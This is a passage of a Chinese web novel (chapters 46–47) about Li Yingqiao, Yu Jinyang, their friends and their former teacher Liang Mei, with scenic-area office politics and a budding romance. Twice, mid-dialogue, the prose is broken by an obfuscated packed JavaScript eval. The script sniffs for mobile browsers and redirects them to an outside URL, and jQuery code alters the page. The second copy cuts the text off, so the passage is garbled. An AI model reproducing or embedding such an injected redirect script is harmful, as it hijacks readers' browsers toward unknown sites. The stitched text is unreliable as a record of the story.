高典把一串烤韭菜啃得咔吱咔吱响说:“你放。” “李映桥是哪个学校毕业的。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852663|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 吴娟下意识地白他一眼:“潘晓亮,除了你们潭中其他学校是不能出人才对吧?” 高典咧嘴一笑:“巧了不是,桥就是潭中毕业的。” 潘晓亮一愣,手里的香菇“啪嗒”掉地上:“靠!她居然是潭中的,她的行事作风可真的一点都不潭中,哪有潭中人会这么疯的。” “你这哪来的刻板印象?”俞津杨倒是难得插句嘴。 潘晓亮掰着手指数说:“反正我们那届的潭中人要么都在市政单位,要么国企,要么公检法。银行都算食物链底端了。哦,还有几个会计在牢里。” 孙泰禾问:“……是咋都要吃上国家饭是吗?那你不是例外吗?” 潘晓亮:“所以我混得最差啊,同学会都没去过。” 显然不全是,吴娟是知道的,她说:“他就是永远要跟那些最牛的比,混得差的也不是没有,但他就是看不见,他很矛盾的一个人,有时候很自信,有时候又极度自卑。” 高典笑了笑,勾住他的肩膀说:“晓亮,这就是你不懂事了,我、喵、妙嘉,我们几个都是潭中毕业的。怎样?” 潘晓亮是真不可置信:“……潭中的大门真好进啊,高典连你都是?” 高典更是神秘一笑:“这事儿就得从一个叫梁梅的女人说起。” 说到这,高典突然想起来,看着俞津杨突发奇想地说:“对了,喵,梁老师和朱小亮是不是都还在G省支教呢?要不要我们找个时间组团去探个亲怎么样?” “这事儿你得问你偶像。”俞津杨靠在那悠悠道。 当年李映桥不光对他放了狠话,说不混出头誓不返乡,她对梁梅也是。 那时他们几个都收到录取通知书,一切也都尘埃落定了。李映桥以为他们拼死拼活地考上大学,总能给梁梅一个再回去教书的信心。就算画城小学不行,那就多试几家嘛,总有学校在认真了解她的事迹之后,会愿意让她回去教书的。 只是他们那时候年纪尚轻并不知道,梁梅那次告学校、告钱东昌的事件,在一个人情盘根错节的小镇里,影响力可想而知,何况那年还有人因此摘了顶上乌纱。 于是梁梅这个名字在丰潭的教育系统里成了一个禁忌话题,没人敢接这个烫手山芋。朱小亮让胡正托关系托到教育局,也是频频吃闭门羹。 但不知内情的李映桥和俞津杨,也不晓得这个世界并不是非黑即白,不是所有人都能黑白分明地列队站开。上帝也没有给任何人发底牌,谁是狼人谁是好人倒牌一掀就能一目了然。被冤死的人太多太多,一个梁梅而已,哪怕是一百个梁梅也照埋不误。 但他们对这个世界还有许多天真未泯的期待,于是算上方玥他们总计五个人,每个人都为梁梅手写了一封长达四页的信纸,总计二十页纸,甚至复印好他们每个人的大学录取通知书,然后小心翼翼地装帧好之后,准备寄去教育局。 这期间他们涂涂改改,大概是着急,总写错别字,一些平时不会犯的小错误连连发生,他们商量着要不改成机打吧,可是机打没有手写有诚意,教育局的领导会认真看吗? 几人想了又想,还是决定认认真真、一笔一划把信写下去,修修改改,全部写完之后,他们每个人都几乎用正楷誊抄一遍,要确保每个字都能让领导们看清楚。 郑妙嘉甚至还单独封了一封漫画信,把他们之间发生的点点滴滴都画在漫画里——上课爱玩蛐蛐、能大声说出中华大刀螳、也能自信说出奥斯特洛夫斯基全名的小画城保护神李映桥、总不厌其烦地纠正他们的错题,也总代替梁老师执行没收李映桥漫画的人民公敌俞津杨、总出糗却也总毫不吝啬地为他们海豹式鼓掌的高典、可可爱爱的她自己以及总嫌他们不爱数学又怕他们真爱上数学变得和他一样的数学疯子朱小亮,还有那个什么都能游刃有余却总在厨房炸锅的梁梅…… 他们甚至在信封上写了一句醒目的话:如果领导们没有时间看信的话,那也希望您能抽一点点时间把这封漫画看完,绝对绝对绝对比看信省时间。我们保证! 他们花了整整一周时间,除了扒两口饭的时间,其余时间全扑在那些信上,等诚意满满地把这些信装帧好,他们没有告诉梁梅,只偷偷告诉了朱小亮,朱小亮不知道站哪边的,竟然直接和梁梅说了。 梁梅立马冒雨踩着一路四溅的泥水冲到农贸市场找到李映桥,她知道始作俑者一定是她,一见面二话不说就让她把东西拿出来,甚至看也不看地,当着她的面就把信给撕了。 其实李映桥本来不觉得她会感动,梁梅本身就是个冷心冷情的人,但也没想到她是这样歇斯底里的反应。 她整个人像是被钉在原地,完全没反应过来,眼睁睁看她指节都发白地用力绞紧那些信笺,在那个雨夜里,路灯下女人的手指发狠到变形,指节森白狠戾,好像骨头都要钻出来。 等她后知后觉地想起来要去保护的时候,伸手忍不住去抓时,梁梅已经“嗤啦”撕成两半,她转过脸,头发丝儿还在滴着水,眼睛却干得很,像路边被人压垮又狠狠踩过的枯草一样。 李映桥完全不理解她为什么这样,她看着她手上那一沓被撕碎的信笺,她气得浑身发抖,她拼命把牙齿咬得咯咯作响,想让自己抖得不要那么厉害,她很少有这种被人气倒说不上来话的时刻。 梁梅却冷冰冰地看着她,第一次声嘶力竭地吼了她:“谁要你自作多情,谁要你管我的事,你管好你自己的事!李映桥,你太拿自己当回事了!你以为你能帮到我吗?你这些矫情的东西,只会让所有人都更难堪!” 李映桥第一次被人活生生气哭了。 俞津杨当时给李映桥送攒了三年的柯南全套。 他站在她俩身后雨雾蒙蒙的路灯下看师徒俩吵架,看李映桥被气到大哭不止,然后直接抓着梁梅的手臂就狠狠咬了一口。 47.第四十六章(二更合一) 从小到大,俞津杨几乎没见她掉过眼泪。 小时候拔他爸的气门芯被他爸一路拎回家教训没哭;救了人却被无良记者围追堵截要她说出自己在小画城的垫底成绩她也没哭;中考和潭中差点失之交臂,大家都为她着急,她也只是没心没肺地笑嘻嘻说:“喵喵,你要早点适应没有我的生活。” 他一直认为她有一颗强心脏。那次她被梁梅气哭,很没良心地讲,他其实觉得新鲜大过于同情。就好像抽卡抽出一张SSR的李映桥痛哭流涕版,他真没见过。 自从那次在疯子港碰见朱小亮,他被她公主抱开始,他其实就忍不住暗暗和她较着劲,虽然他忌惮她的拳头,表面总是什么都依着她。 小学的时候,他用成绩碾压她,她去了仙城二中,而他去了实验。他以为自己终于把她甩开,跟她较不上劲了。梁梅又突然找到他,弄了个鱼苗计划,很显然,李映桥又成了最贵的那条。 他其实也和梁梅一样,想看看她到底还能给人多少惊喜。但他其实和梁梅说过一句挺打脸的话:“我觉得你大概率可能要输,李映桥就不是一块读书的料。” 梁梅却笑着跟他讲说:“那你等着吧,我一定会赢。” 他当时想不明白,梁梅为什么会那么笃定和相信她。就好像中考被绑架那次,他自己其实也是,脑子过了一圈,还是把唯一一条求救信息发给了她。 但她和梁梅之间的相处模式,朱小亮最清楚。高考前好几次听到她俩在厨房里为了志愿的事大吵特吵,朱小亮评价说:简直和谭老师一脉相承。临到病床头两人都还在吵架,梁梅至今都后悔,但她还是不改。 那晚,在绵绵细雨的农贸市场门口,梁梅看着李映桥豆大的眼泪一颗接一颗地砸在她手上,要说新鲜,梁梅也新鲜,但她心比石头硬,她问李映桥:“就在这儿,我问过你一个问题,还记得吗?” “你问我未来要成为一个什么样的人。”她没再咬,只是眼泪汪汪地看着她说。 “对,你说你要改变世界。”梁梅举着撕成两半的信说,“那这是什么,你以为他们会感动吗?” “……” “这不就是弱者向强者摇尾乞怜吗?等着他们的同情和施舍,这难道不是另一种投降方式?我这样教你的吗?那我成什么了?如果你们认为我和朱小亮送你们上名牌大学,是抱着这种目的的话,那你也太侮辱我们了!”梁梅顿了顿,更难听的话还是没有讲,最后嘴唇蠕蠕,说:“如果你只是想为我争口气,那就在外面好好读书,闯出点名堂来,别让我看不起你。” 梁梅走后。李映桥就把这邪火全发到了他身上,擦干眼泪走到路灯下,对他大声讲:“听见了吗?要在外面闯出点名堂来,别让我看不起你。” 每次她和梁梅吵架,遭殃的都是他。俞津杨当时也觉得莫名其妙,原本还酝酿着两句安慰的话也直接被这句话打散,像被煮破的饺子皮,只剩一张臊眉耷眼的面皮浮在汤面上,馅儿全沉回锅底,突然就没话讲。 李映桥在和梁梅较劲的十年里,他又何尝不是在和她较着劲。虽然那天在烧烤摊上两人吵架时,他难得坦诚地剥开一层自己的洋葱皮,承认他是服她的,但哪怕是此时此刻,他也仍在和她较着劲儿。 无非就是想看她认输,想听她亲口承认——俞津杨这个人很吸引她,而不仅仅只是想和他勾勾搭搭,做对狼狈为奸的野鸳鸯,心却把他牢牢地关在门外。 江岸的夜风裹着一轮油汪汪的月,视觉错落下,远处的山脊压在粼粼江面上,像是飘着一艘不肯靠岸的小船。 孙泰禾听得入神,也总结出精髓,俨然是其余两人的课代表,率先发问,“所以呢,师徒俩就十年没见啊?俩倔驴啊?” “那我们不知道。”高典啃完串儿,唆着手说,“反正我们大二那年,梁老师和朱小亮去G省支教了,李映桥后来和我们也没怎么联系,估计也没机会见吧。” 孙泰禾后脊背压着烧烤摊的塑料凳,似乎故意发出“咯吱咯吱”的声响,转头盯着俞津杨,一脸好事者的表情:“那你和李映桥算什么?” 俞津杨瞥他一眼,坦荡道:“普通朋友啊,还能是什么。” 高典更是怔住,眉头微蹙,一脸对这个课代表不太满意的表情:“你问得啥啊?他俩关系还不够一目了然吗?再说这也不是重点啊,重点难道不该是,我们该怎么说服李映桥去看梁老师吗?” “你别管。”孙泰禾扬手止住他的发言,诘问地眼神又扫一遍旁边的俞津杨。 俞津杨被盯烦了,笑出声:“真就普通朋友。” 高典一拍脑袋,眼睛瞪得圆溜溜地说:“凤凰传奇,凤凰传奇那种关系你懂吧!就是一个一直唱唱唱,一个一直‘耶耶耶’的那种无条件附和关系。他俩从小就这样,来不了电的,桥喜欢那种能让她有点征服欲的。” 俞津杨一句话没讲,潘晓亮信了,吴娟也信了,只有孙泰禾笑笑不信,留下一句意味深长的话,结束那天的局:“那你不太了解你们的小喵喵。” 俞津杨刚要说你别扯了,转头发现吴娟正盯着他看。 他微微撇开头,拿起手机:“撤了。” *** 李映桥一整天都在给景区的商户紧锣密鼓地开会,午饭都没吃,从李连丰那边回来就召集人马进了会议室。景区一直疏于管理,景区的商户们投诉无门,也一直怨声载道,好不容易来了个管事的,于是马不停蹄地赶来,哪怕芝麻绿豆点大的事儿,叽叽喳喳拉着李映桥说了一天。 “李经理,你来评评理,我自己店铺门口凭什么不让晒衣服啊,每次你们一说领导来检查,就让我刚洗的衣服都收进去先藏一藏,好了咯,现在藏着藏着我也忘了,内裤放在衣柜里都发霉了。我不管,你们给我洗干净。” “我们店门口都被隔壁的流氓给截流了,我们申请要个景区指示牌的事,这么久都没落实下来,李经理,真不是我要为难你们,你们招商的时候,能不能也做做背调啊,人家大城市招工都要做背调的,别把这种小流氓都放进来好吧。” “你骂谁呢,老子在这老老实实开店碍到谁了?我是屎拉你门口,还是拉你碗里了,死老头,我是流氓那你是什么,老子至少不打女人,先把你自己屁股擦干净吧,小心我报警抓你。” “租金什么时候减啊。如果还这么高的话,明年我们到期不续租了,真开不下去了,李经理,你也姓李,你是李书记的亲戚吧,你说话好使,你跟他说说呗,现在环境真的太差了,租金再降一点,或者让李公子那边政府给点补贴啊。” “……” 等李映桥把这些乱七八糟的事儿都处理完,商户们一哄而散后,她才知道中午办公室发生了什么。 紧跟着景区的副总就把她叫进了办公室,壮丁哥还铁青着脸色在一旁站着。李映桥那会儿被商户们给折磨得身心俱疲,午饭都没吃,饿得两眼发昏,看见对面一脸菜色的人,也没了胃口。 “怎么了,娟儿和小亮又闯祸了?”她笑着问完,才蓦然想起来之前吴娟和潘晓亮隐隐和她八卦过一次副总王问香和壮丁哥的关系,这在小画城的景区里,似乎是个公开的秘密。 王问香让他先出去,转而笑着让李映桥坐下说:“有个事儿和你聊聊。” 王问香四十出头,一头齐耳短发,简洁利落,完全显不出她年纪,她表情也始终看不出端倪,说话倒是直白:“你部门人手紧凑我也理解,但吴娟和潘晓亮未免太张扬了,公然对公司其他员工大打出手,你作为领导,我希望你好好约束一下他们的行为。” “那你把他俩开了,”李映桥皮笑肉不笑说,“我也忍他俩很久了。” “……” “你开又开不了,招又招不来人,他俩工资很高吗?谁愿意拿着三千的工资干这些脏活累活,商铺那几个老板难伺候又爱挑事,刚有人拿着一堆烂到发臭的衣物上门来让我们给他洗,之前哪次不是娟儿和小亮腆着脸去善后的?你真当他俩愿意干啊。再说,这事儿是他俩错吗?要不咱调监控怎么样,发到网上让大家评评理,这事儿谁对谁错,正反也是个热度。我们无所谓的。” 这是反过来威胁她了,王问香面色不虞,她道:“那你想怎么样?” 李映桥笑出声:“我本来就没怎样啊,是你自己叫我进来的唉。既然您都这么问了,那我顺便给娟儿多要一个季度奖金可以吧,她这段时间表现真的不错,公众号兢兢业业努力回复,网友都夸她可爱呢。至于潘晓亮,就罚他三天不上班好了。” “……” 其实王问香早就想把这个人撂开手去,一直想找个机会和他讲清楚,谁料今天中午他正好来找她告状,她早就腻味了天天给他处理和公司其他男同事之间扯头花的事情,就答应再帮他处理最后一次,她其实也烦不胜烦,李映桥这样的态度,让王问香也无从下手。 李映桥来公司不久,她办事太利索,身上又有一股让人摸不清的特别气场,当你觉得她只会权衡利弊时,你会发现她其实也有点真心,当你为她的真心感慨时,却又发现,她是真心在权衡利弊。 这个人,王问香不太想惹,李家爷孙对她的态度也很暧昧,李映桥刚入职时,李连丰就给她打过一个电话叮嘱她别跟李映桥起冲突,她这个人不太好弄,但老爷子又想死马当活马医。 李伯清不常来,李连丰挂着政府的职位,干涉不了太多,景区事务基本上都是王问香在处理,自从李映桥来了之后,大刀阔斧的行事风格,王问香确实感觉如虎添翼,两头相害取其轻,她太清楚这事儿应该取谁脑袋。 “怎么不要他给你朋友道歉?”王问香好奇问了嘴。 “没意义。就算你逼他道歉,他也不诚心,他这样的人真的认为自己错了吗?不会的。何必让我朋友又恶心一遍。您赔我朋友点钱倒是真的。” 第二天,小画城办公室平地炸起一声惊雷。 壮丁被开除了,因为报账发票被查出造假。众人也不傻,早不查晚不查,在这个节骨眼上查。无非就是俩女人没谈拢,王问香也不想得罪李映桥,于是壮丁哥反倒成了王问香对李映桥的投名状。所以说,爬什么不好,要去爬女上司的床。 办公室其他人都在津津有味的吃瓜,王问香接到李连丰的电话,她以为这么快那边就收到风声了,这爷孙俩没那么好糊弄,于是她靠在椅子上想了想,等电话响过十秒才接起。 李连丰的声音像条滑溜的泥鳅,猝不及防就从话筒里钻出来:“老爷子真要把景区卖了?” 王问香一愣,淡声说:“没听说。” “问香姐,您不是也瞒着我吧?”李连丰笑了声。 “什么话,我能瞒着你什么,这事儿我真没听说。” “行吧。”李连丰见问不出什么来,悠悠叹了口气,暧昧不清地又是一声笑,“最近忙什么?” 王问香没有在办公室和他调情的习惯,“还能忙什么,没事我先挂了。” 李连丰忙又一声:“姐,等会。老爷子真没跟你说过什么?” 王问香:“真没,我什么消息都没收到。” “北京那边来人了,今晚文旅局的几个领导都出动了。”李连丰挂断电话前,压低声音说。 *** 和T厂共同维护的数字平台,终于在胡姐的加班加点之下,确认正式上线,之后门票就可以进行统一预约,景区导览还有ai导游都可以全部进行升级。潘晓亮也变成潘厂亮了,和其他部门现在已经张口闭口就是我们先把颗粒度对齐一下。 李映桥嫌他跳舞都对不齐,就别在这张口闭口颗粒度了。潘晓亮不服极了,薅着孙泰禾就开始扭,别说,现在还真别说,虽然俞津杨没出镜,但吴娟的后台还是爆了—— 爱挑事的网友说:“你们三个人中,有一个人跳得很帅。” 爱内耗的网友说:“我最近没犯事儿吧,做什么要刷到这条。” 毛茸茸的网友说:“潘晓莲,高点点,我真没时间跟你们闹了嗷!” 不挑食的网友说:“面对不良诱惑,我们要坚决说” 爱接梗但挑食的网友说:“上!(点点和晓莲算了,旁边那个新来的帅哥可以)” 吴娟立马把孙泰禾的社交软件账号给艾特在评论区里。 孙泰禾一打开社交平台以为自己被网暴了,结果全是在评论区里发些有的没的。 “姐妹们,这个帅,上。” 上吊啊。一看私信,零个人。 他忍不住和俞津杨吐槽说:“你还真别说,现在的女孩子怎么都是嘴巴上厉害,感觉上网上多了,我以为她们都跟饿狼一样,哥们收拾好一出门,你但凡多看她一眼,她能一拳攮死你。” 那会儿俞津杨刚给甜筒换好鞋子,准备带她出门去游个泳,甜筒听见电话那头的哥哥那么讲,下一秒就跟着模仿说:“攮屎你。” 俞津杨立马挂掉电话,捏着她的脸:“唐疏田,想挨揍吗。” 甜筒捂着脸:“啊,不可以打宝宝。” 俞津杨笑翻,给人抱进怀里,让她趴在自己颈窝里,手掌托着后脑勺投降说:“好好好。” 短短两个月不到的功夫,小画城景区逐渐在本地的社交媒体软件上名声小燥了一把,除了发癫的猿人视频之外,也有不少当地美术学院的美术生在网上po出他们给猿人画写生的素描。李映桥随便一刷社交媒体,都是形状各异的高典、潘晓亮等人,有得抽象得都看不出是个人形,以及漂亮可人的吴娟、妙嘉。 李映桥转发給赶回在庆宜相亲的编外人猿赵屏南。 赵屏南回复:「还有两个,马上归队。」 纯情屎壳郎蹦恰恰:「有相中吗?」< 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李连丰憋不住火,咬牙切齿也只能压低声音道:“明天来我办公室拿,李映桥,你这事儿办得太没底线了,我正要找你呢,你还催上了。我告诉你——” “李连丰,轮不到你教训我。” “不装了是吧,之前还一口一个连丰哥唬我呢是吧?李映桥我特么的!我警告你,这事儿我只能帮你兜一次,你再这么干,别怪我翻脸不认人。” 李映桥没理他,挂断电话,给俞津杨发了条微信过去:“明天我去工作室找你。” 李连丰听着电话那头的忙音,气得太阳穴青筋直跳。他摘下眼镜,抄起桌上的白酒杯狠干了一口,但也没让心头这火消下去,一想到这事儿都后怕。 这个李映桥的胆子也太大了,老虎屁股也敢这么摸,竟然给人送了一箱子的钞票直接找上门贿赂去了。但是不是真钞他存疑,多半也就是个仙人跳的局。 但那位老领导给气得够呛,二话不说立马电话就打他这里,声音都气劈了,说他一辈子清清白白,临了临了,你们这是要往我的棺材板上泼脏水啊!李连丰吓得也肝儿颤,忙说真没有,这事儿是个误会,您先别急。我会帮您跟她讲清楚的。 那位老领导根本不管这些,他只知道他马上要退休了,不允许任何污水泼到他身上,但凡换个人这事儿估计还真就让他糊弄过去了。所以李连丰觉得李映桥真够阴的,不用想也都知道她当时肯定在那装腔作势地煽风点火说,哎呀,原来不是您这出了问题啊。 她四两拨千斤的一句话,这位即将退休的老领导为了自保可不就得彻查了嘛?没两天,伤残证明立马就送到李连丰的办公室,给不给,全凭他一句话。但他不敢不给,李映桥那玩意真特么不是东西,手段也太脏了。 俞人杰自己老实,生个儿子也要假惺惺地当正人君子。李映桥倒是从小就听说鬼灵精怪的,长大了更是邪门,可偏又生得极漂亮。换个别人,这事儿他才不帮她兜着,爱捅哪去捅哪去。 李连丰越想越气,闷闷又灌下一杯白酒,刚放下杯子,旁边递了只烟过来,张宗谐倒是斯斯文文地看着他说:“咱俩聊聊?” 这画面他怎么莫名觉得有点熟悉,两月前,他好像也给俞津杨这么递过一支烟。 *** 李映桥洗完澡,发现俞津杨给她打了个语音,她裹着浴巾,正拿着毛巾在卷头发,她直接拨了回去,那边这次倒是很快接起来,俞津杨清冽干净的声音在浴室里荡开:“在忙?” 李映桥开了扩音说:“刚在洗澡。” 那边顿了两秒,才说:“哦。我只是想问,你明天找我干嘛。” 李映桥慢条斯理地卷着头发,拧着头发上的水,声音拖得绵长:“我现在没事不能找你?” 那边轻笑:“我受宠若惊啊,以为你这段时间会很忙。” 李映桥把毛巾卷顶在头上:“你才忙吧,银行卡号怎么不发我。” 俞津杨声音倒是很无辜:“我发给潘晓亮了,不是你说让我工作的事跟他联系吗?” 李映桥:“……那你怎么不跟我说一声。” 俞津杨:“李映桥,你很介意我不回你消息吗?” 李映桥:“……” 俞津杨还是笑:“你看你又没话讲。” 他说完,不等李映桥回话,又补了句:“我还在小画城和人打球,你要洗完澡不忙的话,可以下楼聊两句。” 等李映桥换好衣服下楼,才知道他和孙泰禾在小画城打球,两人拎着个篮球老远从川明街的另一条巷子里走出来,小时候他们都觉得小画城好大,跑一整个下午累得跟头牛似的,却怎么也玩不够。 现如今再看,发现小画城真的好小,一条川明街,五条犬牙交错的小巷贯穿到底,小时候他们成群结队地跟一串糖葫芦似的走在巷子里也丝毫不觉得拥挤。 而现在,俩成年男人往巷子里一钻,整条巷子就显得狭窄逼仄。俞津杨这么看,骨相是越长越好,很英俊而硬挺的熟男长相,小时候完全没觉得俞津杨长大后会是这种类型。 李映桥先是冲着俞津杨熟稔地“喵”了声,然后转头看着孙泰禾,大大方方地笑着“hi~”了声。 “hi~”孙泰禾就更牛了,更是自来熟到没边,一把拉过身后的俞津杨,说:“能上去坐坐吗?我们好渴。” 俞津杨刚都没敢站太近,他刚打完球,身上全是汗,距离她还三步远的地方就直接停下来了。 这都是从小训练出来的,孙泰禾当然没有这些神经,他不光站得近,他还要上楼喝水,俞津杨给他拽回来:“我不渴。” 李映桥笑了笑说:“没关系,你们要喝水吗?我上去给你们拿。” 等人转身上楼。孙泰禾转头看俞津杨扼腕叹息地说:“不是,你就这待遇啊?” 俞津杨倒是不觉得:“这待遇还不行?我以前打完球可没有水喝。” 等李映桥再下来,孙泰禾拿了水后一副你好自为之地表情拍了拍俞津杨的肩转身走了,李映桥等人走出老远,才笑着问他:“上去坐坐吗?给你看个东西。” 俞津杨一口水呛在喉咙里,瓶盖拧到一半顿住:“泰禾不能看?” 李映桥想了想说:“你要是想让他看,也是可以的。你想吗?” 俞津杨:“……” 李映桥转身冲另一个方向,作势要招手:“那我叫泰禾——” 话没说完就被他拽住手腕。温热的掌心在她的腕臂上紧紧箍着,不容挣脱,她也不会挣脱。那一圈的体温轻轻激起她后背的一小片颤栗和鸡皮疙瘩,她仰头看着他,直直望进他的眼里。俞津杨压着呼吸,小心翼翼地屏着呼吸,轻轻抬开脸颊,怕自己呼吸喷在她身上,眼睛却始终沉沉地挂在她身上。 “你想上楼吗?俞津杨,我在问你。”李映桥问。 48.第四十七章 小画城夏日的夜晚有种禅意的宁静,淡淡的月光穿透过川明街,流淌在青石板路上。鸟儿擦着不远处的树梢,扑簌簌的飞,码头上仍泊着要去远方的小船。 小时候,李映桥住在川明街的街头,俞津杨住在街尾。她每天蹲在铺子门口,早上看太阳从东边的山岭里升起,看各色大人们骑着车匆匆忙忙地去上班。晚上又看着那轮红日从西边坠下去,看着大人们又风尘仆仆地赶回家做饭。 那时候她总想问李姝莉,为什么太阳公公要下山,一直照着大家不好吗?天黑了,很多坏人就出来了。但没想到人总是无法共情过去的自己,现如今,李映桥想干点坏事,也只能等天黑。 只是成年人的试探,就好像老年人泡茶,水温要恰到好处,悬停注水时和盖碗保持几厘米的距离都有讲究。时间长短更有讲究,泡太长,失了茶叶的鲜,泡太短呢,那又太涩了。 俞津杨上丰潭电视台的征婚启事,她其实在北京就看到了。那会儿她正打算辞职和张宗谐签对赌,张宗谐认为她疯了,这件事只要等舆论过去,一切都会好起来。 李映桥觉得讽刺,怎么好得起来,司机都死了!而他们所谓的处理方式就是骗着司机的聋哑女儿签下一份全是天坑的赔偿协议来保全公司名誉。 直到那女孩拿着协议找到她,李映桥看了之后人都在抖,问她为什么要签,女孩却只是平静地比划着手语:“他们说,如果不签,我就拿不到爸爸的骨灰。” 李映桥当天晚上直接飞回北京,一落地就直奔总部,电梯门一打开,不惧任何眼色地一把推开副总裁张宗谐的办公室门,要他公布所有监控,并且一五一十地向公众作出说明。 张宗谐似乎料到他俩早晚有这么一天,毫无意外且冷静地看着门口的女人。 张宗谐提醒她,你还记得自己的职位吗?你是Convey品牌部负责人,你不是央视新闻记者。再说,就算公布了,对你也没好处,你以为没人等着看你笑话? 李映桥其实心里是怕的,毕竟彩虹羑里是她的全部心血。可她还是不允许在他面前露出任何怯懦,还是硬着头皮和他讲说:“没关系,我可以从头再来。” 张宗谐却冷笑说:“李映桥,你是不是忘了?你手里的所有资源、酒店包括那些KOL矩阵,依靠的前提是什么?是你的个人价值?还是集团赋予你的个人价值?彩虹羑里的成功是不可复刻的,首先它本身背靠旅游大省,周边设施一应俱全。其实你我都明白,如果彩虹羑里在我们丰潭,你不会成功。” “OK,那我辞职。” 张宗谐当时都听笑了,看着她的眼神,好像一个无理取闹的小女孩:“我不批。你的离职会影响公司内部员工的稳定性。首先,我百分百信任你,但你并没有百分百信任我。这时候提出离职就是在董事会面前给我难堪。你这些脾气不敢对着高层发,只能对着我发。但我反而很高兴,这样至少证明我在你心里和别人不一样,我给你几天假期,你先冷静一下,我们再聊。” 李映桥也就是那天晚上在胡雯家喝酒的时候,调台调到了丰潭电视台看见了俞津杨的征婚新闻。她迷迷糊糊地想,人可以有棱有角地死去,但绝不可以面目全非地活着。 好在她还没有完全面目全非,她现在是坏了点,底线一降再降,如果俞津杨知道她在外面是这样利益至上的李映桥,一定会和梁梅一样,对她非常非常失望。但她就要回去逗逗他,如果万一被她睡到了,那也不亏。 *** 景区的职工宿舍就在川明街的末尾,和俞津杨从前的房子竟然是对门。李映桥小时候住在头,对于尾部的结构不太了解,她也是住进来好久才发现,景区的宿舍就俞津杨家对面。 整条街都临街的铺面改建,俞人杰当初钱赚太多没看上景区这点三瓜俩枣,也是川明街为数不多没有改成铺面,还是完整的一套自建小楼,从外面看不出什么异常,但里面装修异常奢华。 李映桥小时候没敢进去,扒着门缝偷偷看了几眼,结合高典夸张的描述里得知,几乎每个房间都配备了独立卫生间。李映桥当时还好奇了一句:“为什么每个房间都要卫生间啊?喵就这么憋不住尿吗?”气得俞津杨小半月都没理她。 李连丰给的员工宿舍就显得比较简陋了,一楼做得还是铺面生意,开得是一间猫舍,老板是几个零零后合资,开门时间也很随心所欲,今天就整天都没开门。李映桥住三楼,二楼是景区另外一个部门经理。 李映桥一进门摁亮灯,俞津杨站在门口沉默看她片刻,才进门。 “随便坐。”李映桥指了指客厅中间的沙发,上头还凌乱地扔着一张毯子,一小截掉落在中间的地毯上,茶几上摆着一台亮着屏电脑,旁边放着几本书,还有一桶泡面。 俞津杨掀起她毯子一角,在沙发上腾出块巴掌大的空地,惴惴不安地一坐定,眼神还没确定往哪儿走的时候,李映桥倒是手起刀落,又在茶几上给他放下一瓶矿泉水。俞津杨说了声谢谢,眼神落在吃剩的泡面杯上,下巴一点:“晚饭就吃这个?” 李映桥掀开毯子盘腿坐进去,胳膊肘懒懒地搁在沙发靠背上,手掌托着半边脸歪着头瞧他,表情惬意地像在看一副世界名画,“是啊。这个方便嘛,我又不会做饭。” 俞津杨有些意外,余光瞥到墙角的一整箱拆开的泡面:“你晚上都吃这个?” “最近忙。”她说,目光仍是明目张胆地看着他。 “忙也不能这么敷衍自己吧,你这里不是有厨房吗?煮两把挂面不会?” 她仍支棱着胳膊,眼神悠悠地在他身上来回扫,忽然看着他笑起来,调侃的口气:“那少爷你会?” “李映桥,”俞津杨这次没跟着她笑,反倒有些严肃,面色冷峻地侧脸看她,微微蹙眉说,“我没跟你开玩笑,长期吃泡面对身体不好,你没想过自己的健康问题?为了工作命都不要?” 李映桥不知道他在严肃什么。胳膊肘往前挪了挪,忽然伸手捏住他的脸颊,力道不轻不重,捏着甩了甩,故作生气:“俞津杨,你想挨揍吗?” 甜筒要知道他哥在外面给其他姐姐这么捏,绝对鼓掌叫好。当然李映桥不知道,她只是觉得没必要浪费时间在这讨论这种毫无意义的问题,因为她的工作还是会很忙,她还是有开不完的会,一场接一场的应酬。 每天回到这里,能在十二点前不吃安眠药睡着,已经是最安稳的一天。 她现在只求安稳,都不敢奢求幸福。 俞津杨被她扯着脸,偏头下意识挣脱,被她又从另一边捏住,他躲不及,被她气笑了:“你严肃点。” 她这才说:“我不知道吃泡面对身体不好吗?可我自己又不会做,外卖你也肯定说不健康,而且我这段时间都在应酬,相比较泡面,喝酒更伤身呢。要么你来帮我做咯,你要是有解决办法你可以提出问题,你没有解决办法你在这反复说说说有什么用?增加我的焦虑而已。” “……” 李映桥把刚才他电话里怼她的话又原封不动地堵回去:“你看你也没话讲。” 他哭笑不得,还是和小时候一样,报复心贼重,转头看她一眼:“你一般几点下班?” “开完复盘会,六点左右。有时候有应酬回家就得十一二点了。” 他开玩笑说:“咱这小画城还用得上复盘?一天几个游客不是一目了然。” 李映桥瞪他:“不要小瞧我们好吧,最近可火了。高典和潘晓亮都快成本地大网红了。” 俞津杨笑了声:“是是是,我来给你做行了吧。” 她支着脑袋,反倒有些意外:“真的啊?” 他没再看她,低着头“嗯”了声,“我把甜筒接回家就过来,你要是不介意我直接进来,可以把密码告诉我,我提前做好等你回来,不然六点做的话,要七点多才能吃上饭,太晚了。” “你工作室呢?” “哟,您倒是还记得我有个工作室啊,又是猿人又是女团舞的。” “……” 俞津杨人往沙发后靠笑着说:“本来只是想给甜筒做点符合她年龄的玩具,之前刚做完一批,找了几家工厂在投产,最近也没什么灵感,当给自己放个假了。对了,你让我上来看什么。” 她张嘴就来:“看我看你跳舞。你觉得这个主意怎么样。” 俞津杨靠在那斜瞥她:“……你不如说你有颗发财树会跳舞。” 她又说:“不信?我真有。” 俞津杨显然不接她招,不阴不阳地笑了声。 李映桥这才下巴指指茶几,“把电脑打开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 